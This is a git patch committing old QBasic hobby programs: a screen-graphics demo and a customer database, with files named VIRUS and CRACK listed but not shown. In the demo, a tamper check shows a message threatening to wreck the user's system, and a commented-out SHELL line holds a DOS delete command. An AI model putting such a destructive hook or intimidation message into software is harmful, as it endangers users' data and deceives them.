From 474d98379ef64d5900af360ac2920c6d209cae43 Mon Sep 17 00:00:00 2001 From: jdg Date: Fri, 3 Sep 2021 17:42:07 +0200 Subject: [PATCH] First commit ~0,10 --- BAS/3.BAS | 210 ++ BAS/BD.BAS | 548 ++++++ BAS/CAT3.BAS | 2809 +++++++++++++++++++++++++++ BAS/CATALOG2.BAS | 912 +++++++++ BAS/COMPRAS.BAS | Bin 0 -> 14159 bytes BAS/GOB.BAS | 144 ++ BAS/HORA.BAS | 302 +++ BAS/HORA2.BAS | 462 +++++ BAS/HORA3.BAS | 485 +++++ BAS/JD_SUP.BAS | 169 ++ BAS/M_VIRUS.BAS | 1624 ++++++++++++++++ BAS/PRECATA2.BAS | 545 ++++++ BAS/PROMPT.BAS | 271 +++ BAS/PROVEED.BAS | Bin 0 -> 19163 bytes BAS/Q2.BAS | 107 ++ BAS/REF#.BAS | Bin 0 -> 10429 bytes BAS/TPV.BAS | 2101 ++++++++++++++++++++ BAS/VIRUS.BAS | 420 ++++ EXE/BD.EXE | Bin 0 -> 45225 bytes EXE/CATALOG2.EXE | Bin 0 -> 41647 bytes EXE/COPY-1.DAT | 0 EXE/COPY-2.DAT | 0 EXE/COPY-3.DAT | 0 EXE/CRACK.DAT | Bin 0 -> 2378 bytes EXE/CRACK.EXE | Bin 0 -> 51336 bytes EXE/FICH1.DAT | 0 EXE/FICH2.DAT | 0 EXE/FICH3.DAT | 0 EXE/HORA.EXE | Bin 0 -> 43412 bytes EXE/HORA2.EXE | Bin 0 -> 47844 bytes EXE/M_VIR.INI | 1 + EXE/M_VIRUS.EXE | Bin 0 -> 85326 bytes EXE/PIC.EXE | Bin 0 -> 35214 bytes EXE/PRECATA2.EXE | Bin 0 -> 37057 bytes EXE/PROMPT-C.EXE | Bin 0 -> 41884 bytes EXE/Q2.EXE | Bin 0 -> 34068 bytes EXE/catalog/CGA.COM | Bin 0 -> 2877 bytes EXE/catalog/COPY | 1 + EXE/catalog/DEUDAS.BAS | Bin 0 -> 943 bytes EXE/catalog/DEUDAS.DAT | 1 + EXE/catalog/GW.EXE | Bin 0 -> 70656 bytes EXE/catalog/LISTA.BAS | Bin 0 -> 8266 bytes EXE/catalog/LISTA.BAT | 2 + EXE/catalog/MAINMENU.BAS | Bin 0 -> 8632 bytes EXE/catalog/MENSAJES | Bin 0 -> 150 bytes EXE/catalog/PRESENT | 6 + EXE/catalog/PRESENT1.TIF | Bin 0 -> 2731 bytes EXE/catalog/PRESENT2.TIF | Bin 0 -> 3348 bytes EXE/catalog/PRESENT3.TIF | Bin 0 -> 4598 bytes EXE/catalog/PRESENT4.TIF | Bin 0 -> 4792 bytes EXE/catalog/PRESENT5.TIF | Bin 0 -> 4917 bytes EXE/catalog/SLIDE.EXE | Bin 0 -> 38730 bytes NEW/DAT_REF.BAS | Bin 0 -> 10345 bytes NEW/JD1.BAS | 3919 ++++++++++++++++++++++++++++++++++++++ NEW/PROVEED.BAS | Bin 0 -> 19163 bytes NEW/REF#.BAS | Bin 0 -> 10429 bytes NEW/TPV.BAS | 1929 +++++++++++++++++++ 57 files changed, 16968 insertions(+) create mode 100644 BAS/3.BAS create mode 100644 BAS/BD.BAS create mode 100644 BAS/CAT3.BAS create mode 100644 BAS/CATALOG2.BAS create mode 100644 BAS/COMPRAS.BAS create mode 100644 BAS/GOB.BAS create mode 100644 BAS/HORA.BAS create mode 100644 BAS/HORA2.BAS create mode 100644 BAS/HORA3.BAS create mode 100644 BAS/JD_SUP.BAS create mode 100644 BAS/M_VIRUS.BAS create mode 100644 BAS/PRECATA2.BAS create mode 100644 BAS/PROMPT.BAS create mode 100644 BAS/PROVEED.BAS create mode 100644 BAS/Q2.BAS create mode 100644 BAS/REF#.BAS create mode 100644 BAS/TPV.BAS create mode 100644 BAS/VIRUS.BAS create mode 100644 EXE/BD.EXE create mode 100644 EXE/CATALOG2.EXE create mode 100644 EXE/COPY-1.DAT create mode 100644 EXE/COPY-2.DAT create mode 100644 EXE/COPY-3.DAT create mode 100644 EXE/CRACK.DAT create mode 100644 EXE/CRACK.EXE create mode 100644 EXE/FICH1.DAT create mode 100644 EXE/FICH2.DAT create mode 100644 EXE/FICH3.DAT create mode 100644 EXE/HORA.EXE create mode 100644 EXE/HORA2.EXE create mode 100644 EXE/M_VIR.INI create mode 100644 EXE/M_VIRUS.EXE create mode 100644 EXE/PIC.EXE create mode 100644 EXE/PRECATA2.EXE create mode 100644 EXE/PROMPT-C.EXE create mode 100644 EXE/Q2.EXE create mode 100644 EXE/catalog/CGA.COM create mode 100644 EXE/catalog/COPY create mode 100644 EXE/catalog/DEUDAS.BAS create mode 100644 EXE/catalog/DEUDAS.DAT create mode 100644 EXE/catalog/GW.EXE create mode 100644 EXE/catalog/LISTA.BAS create mode 100644 EXE/catalog/LISTA.BAT create mode 100644 EXE/catalog/MAINMENU.BAS create mode 100644 EXE/catalog/MENSAJES create mode 100644 EXE/catalog/PRESENT create mode 100644 EXE/catalog/PRESENT1.TIF create mode 100644 EXE/catalog/PRESENT2.TIF create mode 100644 EXE/catalog/PRESENT3.TIF create mode 100644 EXE/catalog/PRESENT4.TIF create mode 100644 EXE/catalog/PRESENT5.TIF create mode 100644 EXE/catalog/SLIDE.EXE create mode 100644 NEW/DAT_REF.BAS create mode 100644 NEW/JD1.BAS create mode 100644 NEW/PROVEED.BAS create mode 100644 NEW/REF#.BAS create mode 100644 NEW/TPV.BAS diff --git a/BAS/3.BAS b/BAS/3.BAS new file mode 100644 index 0000000..6c7b9ca --- /dev/null +++ b/BAS/3.BAS @@ -0,0 +1,210 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z + +DIM SHARED P(6), A, veces +DIM OldX1(130), OldY1(130), OldX2(130), OldY2(130), OldX3(130), OldY3(130), OldX4(130), OldY4(130), OldX5(130), OldY5(130), OldTipo(100), OldX6(100), OldY6(100), Pt(16) +RANDOMIZE TIMER + +X(1) = 400: Y(1) = 175 +X(2) = 400: Y(2) = 175 +X(3) = 400: Y(3) = 175 +X(4) = 400: Y(4) = 175 +X(5) = 400: Y(5) = 175 +X(6) = 400: Y(5) = 175 + +Pt(1) = 1 +Pt(2) = 1 +Pt(3) = 1 +Pt(4) = 1 +Pt(5) = 1 +Pt(6) = 1 + +mir$ = "Lineas ( Jos‚ David Guill‚n 15/04/94 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": GOTO errormo +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": GOTO errormo + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +P(1) = 0 +P(2) = 75 +P(3) = 195 +P(4) = 275 + +P(5) = 395 +P(6) = 435 + + +SCREEN 9 + +'*************************************************** +'* GRAFICO LINEAL ********************************** +'*************************************************** +Coor = 1 + +DO +salida = 0 + +'IF Pt(4) = 1 THEN M(4) = INT(RND * 8) + 1 +IF Pt(3) = 1 THEN M(3) = INT(RND * 8) + 1 +IF Pt(2) = 1 THEN M(2) = INT(RND * 8) + 1 +IF Pt(5) = 1 THEN M(5) = INT(RND * 8) + 1 +IF Pt(6) = 1 THEN M(5) = INT(RND * 8) + 1 +IF Pt(1) = 1 THEN M(1) = INT(RND * 8) + 1 +Pt(1) = 0 +Pt(2) = 0 +Pt(3) = 0 +Pt(4) = 0 +Pt(5) = 0 +Pt(6) = 0 + + +qwert = qwert + 1 +IF qwert = 7 THEN qwert = 1 +IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert) + +DO + +Vez = Vez + 1 +Vz = Vz + 1 + +IF Vz >= 30 THEN Vz = 1 + +IF Vez >= 30 THEN Vez = 1 + +FOR Coor = 1 TO 6 + +SELECT CASE M(Coor) + CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1 + CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 1 ELSE Y(Coor) = Y(Coor) - 1 + CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1 + CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1 ELSE X(Coor) = X(Coor) - 1 + CASE 5: M(Coor) = INT(RND * 8) + 1 + CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 1 ELSE Y(Coor) = Y(Coor) + 1 + CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1 + CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1 ELSE X(Coor) = X(Coor) + 1 + CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1 +END SELECT +Cont = 0 + + IF X(Coor) >= 640 THEN + X(Coor) = 640: M(Coor) = INT(RND * 11) - 2 + END IF + IF X(Coor) <= 0 THEN + X(Coor) = 0: M(Coor) = INT(RND * 8) + 1 + END IF + IF Y(Coor) >= 350 THEN + Y(Coor) = 350: M(Coor) = INT(RND * 10) - 1 + END IF + IF Y(Coor) <= 0 THEN + Y(Coor) = 0: M(Coor) = INT(RND * 10) - 1 + END IF + +OldX1(1) = X(1) +OldX2(1) = X(2) +OldX3(1) = X(3) + +OldX4(1) = X(4) +OldX5(1) = X(5) +OldX6(1) = X(6) +OldY1(1) = Y(1) +OldY2(1) = Y(2) +OldY3(1) = Y(3) + +OldY4(1) = Y(4) +OldY5(1) = Y(5) +OldY6(1) = Y(6) +NEXT + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1 +IF Vez1 >= 16 THEN Vez1 = 1 + + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1 +IF Vz1 >= 16 THEN Vz1 = 1 + + +'LINE (X(1), Y(1))-(X(2), Y(2)), Vez1 +'LINE (X(2), Y(2))-(X(3), Y(3)), Vez1 +'LINE (X(3), Y(3))-(X(4), Y(4)), Vez1 +' +'LINE (X(4), Y(4))-(X(5), Y(5)), Vez1 +'LINE (X(5), Y(5))-(X(1), Y(1)), Vez1 + +CIRCLE (X(1), Y(1)), 5, Vz1: ', , , Tipo +CIRCLE (X(2), Y(2)), 5, Vz1: ', , , Tipo +CIRCLE (X(3), Y(3)), 5, Vz1: ', , , Tipo +CIRCLE (X(4), Y(4)), 5, Vz1: ', , , Tipo +CIRCLE (X(5), Y(5)), 5, Vz1: ', , , Tipo +CIRCLE (X(6), Y(6)), 5, Vz1: ', , , Tipo + + d = 70 + A = d + 1 + + WHILE A >= 2 + A = A - 1 + OldX1(A) = OldX1(A - 1) + OldY1(A) = OldY1(A - 1) + OldX2(A) = OldX2(A - 1) + OldY2(A) = OldY2(A - 1) + OldX3(A) = OldX3(A - 1) + OldY3(A) = OldY3(A - 1) + OldX4(A) = OldX4(A - 1) + OldY4(A) = OldY4(A - 1) + OldX5(A) = OldX5(A - 1) + OldY5(A) = OldY5(A - 1) + OldX6(A) = OldX6(A - 1) + OldY6(A) = OldY6(A - 1) + + OldTipo(A) = OldTipo(A - 1) + WEND + +CIRCLE (OldX1(d), OldY1(d)), 5, 0 +CIRCLE (OldX2(d), OldY2(d)), 5, 0 +CIRCLE (OldX3(d), OldY3(d)), 5, 0 +CIRCLE (OldX4(d), OldY4(d)), 5, 0 +CIRCLE (OldX5(d), OldY5(d)), 5, 0 +CIRCLE (OldX6(d), OldY6(d)), 5, 0 + ' + ' + ' + ' LINE (OldX1(d), OldY1(d))-(OldX2(d), OldY2(d)), 0 + ' LINE (OldX2(d), OldY2(d))-(OldX3(d), OldY3(d)), 0 + ' LINE (OldX3(d), OldY3(d))-(OldX4(d), OldY4(d)), 0 + ' + ' LINE (OldX4(d), OldY4(d))-(OldX5(d), OldY5(d)), 0 + ' LINE (OldX5(d), OldY5(d))-(OldX1(d), OldY1(d)), 0 + +LOOP WHILE salida <> 1 + +salida = 0 + +LOOP + + + +'*************************************************** +'* GRAFICOS DE PRUEBA ****************************** +'*************************************************** + +errormo: +CLS +COLOR 15, 0 +PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT +PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT +PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT +PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT +PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT +PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : " +PRINT " (S)istema (B)loquear (S/B)" +'SHELL "Del. >nul" +SYSTEM +END + +grap: + diff --git a/BAS/BD.BAS b/BAS/BD.BAS new file mode 100644 index 0000000..032f2a6 --- /dev/null +++ b/BAS/BD.BAS @@ -0,0 +1,548 @@ +REM Versi¢n 3.0 en Qbasic de Catalogo (c) + + +principiodelprincipio: + +ON ERROR GOTO corrector +KEY OFF +pp: +CLEAR +DIM lec$(12), lot$(12), t$(50), fet$(50), a$(50), tele$(50) +KEY(1) ON +KEY(2) ON +KEY(3) ON +ON KEY(1) GOSUB help +ON KEY(2) GOSUB impr +ON KEY(3) GOSUB finp +CLS +GOSUB menu1 +GOSUB cargachar +COLOR 1, 7 +l = 1 +GOSUB secuencia + +espera: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera3: +i$ = INKEY$ +IF i$ = "" THEN GOTO espera3 +IF i$ = CHR$(13) THEN GOTO ejecuta +IF i$ = CHR$(27) THEN GOSUB help +GOTO espera3 + +sube: +ant = l +IF l = 1 THEN l = 5 ELSE l = l - 1 +GOSUB secuencia +RETURN + +baja: +ant = l +IF l = 6 THEN l = 1 ELSE l = l + 1 +GOSUB secuencia +RETURN + +secuencia: +IF l = -1 THEN l = 5 +IF l = 6 THEN l = 1 +IF ant = 0 THEN ant = 1 +COLOR 7, 1, 1 +LOCATE 2 * ant, 2: PRINT lot$(ant) +COLOR 4, 7 +LOCATE 2 * l, 2: PRINT lec$(l): RETURN +END + +ejecuta: +KEY(11) OFF +KEY(14) OFF +KEY(2) OFF +KEY(1) OFF +COLOR 7, 1, 1 +ON l GOTO ip, mp, sp, bp, c +END + +ip: +entrada = 0: jk = 0 +nom$ = "": ape$ = "": cal$ = "": num$ = "": pis$ = "": let$ = "": tel$ = "" +GOSUB menu2 + +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 + FOR x = 1 TO LOF(1) / 70 + jk = jk + 1 + FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$ + GET #1, x + IF nom$ = " " THEN entrada = jk: GOTO ent + NEXT x + +entrada = jk + 1 + +ent: +CLOSE #1 + +IF entrada = 0 THEN entrada = 1 +LOCATE 12, 47: PRINT entrada +pieza = 0 + +empi: +a$ = "": b$ = "": c$ = "": d$ = "" +IF pieza <> 3 THEN LOCATE 12, 55: PRINT STRING$(22, " ") +lon = 21: lin = 14: col = 11: tipo$ = " ..z": origen$ = nom$: GOSUB limlin: nom$ = texto$ +IF nom$ <> " " AND pieza = 3 THEN a$ = nom$: k = 1: RETURN +IF pieza = 3 THEN GOTO saltito +IF nom$ = " " THEN GOTO principiodelprincipio +saltito: +lon = 31: lin = 14: col = 45: tipo$ = " ..z": origen$ = ape$: GOSUB limlin: ape$ = texto$ +IF ape$ <> " " AND pieza = 3 THEN b$ = ape$: k = 2: RETURN +IF pieza = 3 THEN GOTO salto +lon = 21: lin = 16: col = 11: tipo$ = " ..z": origen$ = cal$: GOSUB limlin: cal$ = texto$ +lon = 4: lin = 16: col = 38: tipo$ = "0..9": origen$ = num$: GOSUB limlin: num$ = texto$ +lon = 3: lin = 16: col = 50: tipo$ = " ..z": origen$ = pis$: GOSUB limlin: pis$ = texto$ +lon = 4: lin = 16: col = 62: tipo$ = " ..z": origen$ = let$: GOSUB limlin: let$ = texto$ +salto: +lon = 18: lin = 18: col = 14: tipo$ = " ..z": origen$ = loc$: GOSUB limlin: loc$ = texto$ +IF loc$ <> " " AND pieza = 3 THEN c$ = loc$: k = 3: RETURN +lon = 14: lin = 18: col = 45: tipo$ = " ..z": origen$ = pro$: GOSUB limlin: pro$ = texto$ +IF pro$ <> " " AND pieza = 3 THEN d$ = pro$: k = 4: RETURN +IF pieza = 3 THEN pieza = 0: RETURN +lon = 11: lin = 18: col = 66: tipo$ = "0..9": origen$ = cod$: GOSUB limlin: cod$ = texto$ +lon = 18: lin = 20: col = 14: tipo$ = " ..z": origen$ = tel$: GOSUB limlin: tel$ = texto$ +lon = 12: lin = 22: col = 20: tipo$ = " ..z": origen$ = cpu$: GOSUB limlin: cpu$ = texto$ +lon = 6: lin = 22: col = 39: tipo$ = " ..z": origen$ = ram$: GOSUB limlin: ram$ = texto$ +lon = 8: lin = 22: col = 51: tipo$ = " ..z": origen$ = tg$: GOSUB limlin: tg$ = texto$ +lon = 12: lin = 22: col = 66: tipo$ = " ..z": origen$ = hd$: GOSUB limlin: hd$ = texto$ +LOCATE 12, 60: PRINT "¨Todo correcto?" + +pr: +i$ = INKEY$ +IF i$ = "" THEN GOTO pr +IF i$ = "S" OR i$ = "s" THEN GOTO cont ELSE GOTO empi + +cont: + +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 + FIELD #1, 21 AS nom2$, 31 AS ape2$, 18 AS TEL2$ + LSET nom2$ = nom$: LSET ape2$ = ape$: LSET TEL2$ = tel$ + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada +CLOSE #1 + +OPEN "fich2.dat" FOR RANDOM AS #1 LEN = 75 + FIELD #1, 21 AS cal2$, 4 AS NUM2$, 3 AS PIS2$, 4 AS LET2$, 18 AS loc2$, 14 AS pro2$, 11 AS cod2$ + LSET cal2$ = cal$: LSET NUM2$ = num$: LSET PIS2$ = pis$: LSET LET2$ = let$: LSET loc2$ = loc$: LSET pro2$ = pro$: LSET cod2$ = cod$ + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada +CLOSE #1 + +OPEN "fich3.dat" FOR RANDOM AS #1 LEN = 38 + FIELD #1, 12 AS cpu2$, 6 AS ram2$, 8 AS tg2$, 12 AS hd2$ + LSET cpu2$ = cpu$: LSET ram2$ = ram$: LSET tg2$ = tg$: LSET hd2$ = hd$ + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada +CLOSE #1 + +IF valor = 3 THEN RETURN +LOCATE 12, 55: PRINT "¨Seguir introduciendo?" +we: +i$ = INKEY$ +IF i$ = "" THEN GOTO we +IF i$ = "S" OR i$ = "s" THEN GOTO ip ELSE GOTO principiodelprincipio + + + +ep: +GOSUB menu2 +LOCATE 12, 34: PRINT "Utilice + y - para ver las fichas" +k = 0 + +mirp: +lf = 0 +CLOSE #1, #2, #3 +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 +OPEN "fich2.dat" FOR RANDOM AS #2 LEN = 75 +OPEN "fich3.dat" FOR RANDOM AS #3 LEN = 38 + +lf = 0 +'DO WHILE lf <> LOF(1) / 70 + 1 +vez = 1 +DO +pro: +COLOR 7, 1, 1: LOCATE 12, 75: PRINT " " + IF lf = 0 THEN lf = 1 + + + FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$ + FIELD #2, 21 AS cal$, 4 AS num$, 3 AS pis$, 4 AS let$, 18 AS loc$, 14 AS pro$, 11 AS cod$ + FIELD #3, 12 AS cpu$, 6 AS ram$, 8 AS tg$, 12 AS hd$ + + GET #1, lf + GET #2, lf + GET #3, lf + + +g = 0 +IF k = 1 AND UCASE$(RTRIM$(LTRIM$(a$))) <> UCASE$(MID$(nom$, 1, LEN(RTRIM$(LTRIM$(a$))))) THEN GOSUB pw +IF k = 2 AND UCASE$(RTRIM$(LTRIM$(b$))) <> UCASE$(MID$(ape$, 1, LEN(RTRIM$(LTRIM$(b$))))) THEN GOSUB pw +IF k = 3 AND UCASE$(RTRIM$(LTRIM$(c$))) <> UCASE$(MID$(loc$, 1, LEN(RTRIM$(LTRIM$(c$))))) THEN GOSUB pw +IF k = 4 AND UCASE$(RTRIM$(LTRIM$(d$))) <> UCASE$(MID$(pro$, 1, LEN(RTRIM$(LTRIM$(d$))))) THEN GOSUB pw +IF g = 1 THEN GOTO pro + +IF nom$ = " " AND r = 0 THEN lf = lf + 1: GOTO pro +IF nom$ = " " AND r = 1 THEN lf = lf - 1: GOTO pro + + +vez = 0 +COLOR 14 +LOCATE 14, 11: PRINT nom$ +LOCATE 14, 45: PRINT ape$ +LOCATE 16, 11: PRINT cal$ +LOCATE 16, 38: PRINT num$ +LOCATE 16, 50: PRINT pis$ +LOCATE 16, 62: PRINT let$ +LOCATE 18, 14: PRINT loc$ +LOCATE 18, 45: PRINT pro$ +LOCATE 18, 66: PRINT cod$ +LOCATE 20, 14: PRINT tel$ +LOCATE 22, 20: PRINT cpu$ +LOCATE 22, 39: PRINT ram$ +LOCATE 22, 51: PRINT tg$ +LOCATE 22, 66: PRINT hd$ +COLOR 7, 1, 1 +nom$ = nom$: ape$ = ape$: cal$ = cal$: num$ = num$: pis$ = pis$: let$ = let$: loc$ = loc$: pro$ = pro$ +cod$ = cod$: tel$ = tel$: cpu$ = cpu$: ram$ = ram$: tg$ = tg$: hd$ = hd$ + +tipo = 0 + +COLOR 5, 1, 1: LOCATE 12, 75: PRINT "+ -": COLOR 7, 1, 1 + +t: + w$ = INKEY$: IF w$ = "" THEN GOTO t + IF w$ = "+" THEN lf = lf + 1: r = 0 + IF w$ = "-" THEN lf = lf - 1: r = 1 + IF w$ = CHR$(27) THEN GOTO principiodelprincipio + IF w$ = CHR$(13) AND valor = 3 THEN CLOSE #1, #2, #3: RETURN + IF w$ = CHR$(13) AND valor = 2 THEN CLOSE #1, #2, #3: RETURN + + IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t + IF tipo = 1 THEN GOTO pro + +LOOP + +CLOSE #1, #2, #3 + +END + +pw: +IF vez = 1 AND r = 0 THEN lf = lf + 1: g = 1 +IF vez = 1 AND r = 1 THEN lf = lf - 1: g = 1 +IF g = 0 AND r = 0 THEN lf = lf + 1 +IF g = 0 AND r = 1 THEN lf = lf - 1 + + + IF lf > LOF(1) / 70 AND vez = 1 THEN GOTO filenotfound + IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t +'IF r = 0 THEN lf = lf + 1 +'IF r = 1 THEN lf = lf - 1 +tipo = 1 +g = 1 + +RETURN +END + +mp: +valor = 0 +GOSUB menu2 +valor = 3 +LOCATE 12, 34: PRINT "Use + o - y <ÄÙ para editar ficha " +GOSUB mirp + +GOSUB empi +LOCATE 12, 34: PRINT "¨Desea modificar otra ficha? " +r: +i$ = INKEY$: IF i$ = "" THEN GOTO r +IF i$ = "S" OR i$ = "s" THEN GOTO mp ELSE GOTO principiodelprincipio + + + +bp: +valor = 0 +GOSUB menu2 +valor = 3 +LOCATE 12, 34: PRINT "Use + o - y <ÄÙ para borrar ficha " +GOSUB mirp +nom$ = " ": ape$ = " ": cal$ = " ": num$ = " ": pis$ = " ": let$ = " ": loc$ = " ": pro$ = " " +cod$ = " ": tel$ = " ": cpu$ = " ": ram$ = " ": tg$ = " ": hd$ = " " +LOCATE 12, 34: PRINT "Pulse 'S' si desea eliminarla " +r3: +i$ = INKEY$: IF i$ = "" THEN GOTO r3 +IF i$ = "S" OR i$ = "s" THEN GOTO po ELSE GOTO principiodelprincipio + +po: +GOSUB cont +LOCATE 12, 34: PRINT "¨Desea eliminar otra ficha? " +r2: +i$ = INKEY$: IF i$ = "" THEN GOTO r2 +IF i$ = "S" OR i$ = "s" THEN GOTO bp ELSE GOTO principiodelprincipio + +finentrada: +END + +impr: +REM FICHERO PARA IMPRIMIR +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." +N: +q$ = INKEY$: IF q$ = "" THEN GOTO N +IF q$ = CHR$(27) THEN RUN +FOR a = 14 TO 18: LOCATE a, 34: PRINT STRING$(38, " "): NEXT +LOCATE 15, 20: PRINT "Elija modo de impresion:" +LOCATE 17, 25: PRINT "(a) Lista simple" +LOCATE 18, 25: PRINT "(b) Lista completa" +hn: +q$ = INKEY$: IF q$ = "" THEN GOTO hn +IF q$ = CHR$(27) THEN RUN +IF q$ = "A" OR q$ = "a" THEN GOTO ls +IF q$ = "B" OR q$ = "b" THEN GOTO lc +GOTO hn + + +ls: +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 + FOR x = 1 TO LOF(1) / 70 + FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$ + GET #1, x + IF nom$ = " " THEN GOTO continua + LPRINT ape$ + ", " + nom$ + " " + tel$ + b = b + 1: IF b = 50 THEN GOSUB finlista +continua: + NEXT x +CLOSE #1 +RUN + +finlista: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 15, 34: PRINT " Pulse entonces una tecla para " +LOCATE 16, 34: PRINT " continuar listando." +COLOR 7, 1, 1 +m: +IF INKEY$ = "" THEN GOTO m +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +LOCATE 16, 34: PRINT " " +b = 0: RETURN + +lc: +valor = 2 +COLOR 7, 1, 1 +GOSUB menu2 +LOCATE 12, 34: PRINT "Seleccione ficha a imprimir... " +GOSUB mirp +LPRINT " Base de Datos, JD... vú1.0 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +LPRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +LPRINT "³ ³±"; +LPRINT "³ Nombre: " + nom$ + " Apellidos: " + ape$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Calle: " + cal$ + " N§: " + num$ + " Piso: " + pis$ + " Letra: " + let$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Localidad: " + loc$ + " Provincia: " + pro$ + " C.P: " + cod$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Tel‚fono: " + tel$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Ordenador, CPU: " + cpu$ + " RAM: " + ram$ + " TG: " + tg$ + " HD: " + hd$ + " ³±"; +LPRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +LPRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +LOCATE 12, 34: PRINT "Cuando deje de imprimir, pulse una tecla" +SLEEP +RUN + + + +sp: +valor = 0: pieza = 3 +GOSUB menu2 +LOCATE 12, 34: PRINT "Introduzca parte a buscar... " +lili: +GOSUB empi +IF pieza = 0 THEN pieza = 3: GOTO lili +GOTO mirp +RUN + +filenotfound: +LOCATE 12, 34: COLOR 4, 1, 1: PRINT "Ficha no encontrada " +COLOR 7, 1, 1 +sl: IF INKEY$ = "" THEN GOTO sl + +GOTO sp + +END +c: +COLOR 7, 1, 1 +LOCATE 14, 33: PRINT " (c) B A S E de D A T O S " +LOCATE 16, 33: PRINT " Pantallas y programa ... " +COLOR 12 +LOCATE 18, 33: PRINT " Jos‚ David Guill‚n " +LOCATE 19, 33: PRINT " c/ Pintor Garcias Ramos n.5 2D " +COLOR 7, 1, 1 +LOCATE 21, 33: PRINT "Puede mandar un donativo de 10.000.000" +pause: +IF INKEY$ = "" THEN GOTO pause +FOR q = 14 TO 22: LOCATE q, 33: PRINT SPC(37); : NEXT q +GOTO principiodelprincipio +END + + + + +menu1: +COLOR 7, 1, 1 +CLS +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÜ ßßßßßßßÛ ÛßßÜ ³ø Base de Datos ø³ "; +PRINT "³ Introducir Û Û Û ßÜ ³ø vú 1.0 ø³ "; +PRINT "³ Û Û Û ßÜ ³ø ø³ "; +PRINT "³ Editar / Modificar Û Û Û Û ³ø F1 Help ø³ "; +PRINT "³ Û Û Û Û Üß ³ø F2 Imprimir ø³ "; +PRINT "³ Buscar Û Û Û Û Üß Ü³ø F3 Exit to DOS ø³Ü "; +PRINT "³ Û ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ"; +PRINT "³ Eliminar Û ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ"; +PRINT "³ Û Jos‚ David Guill‚n '93 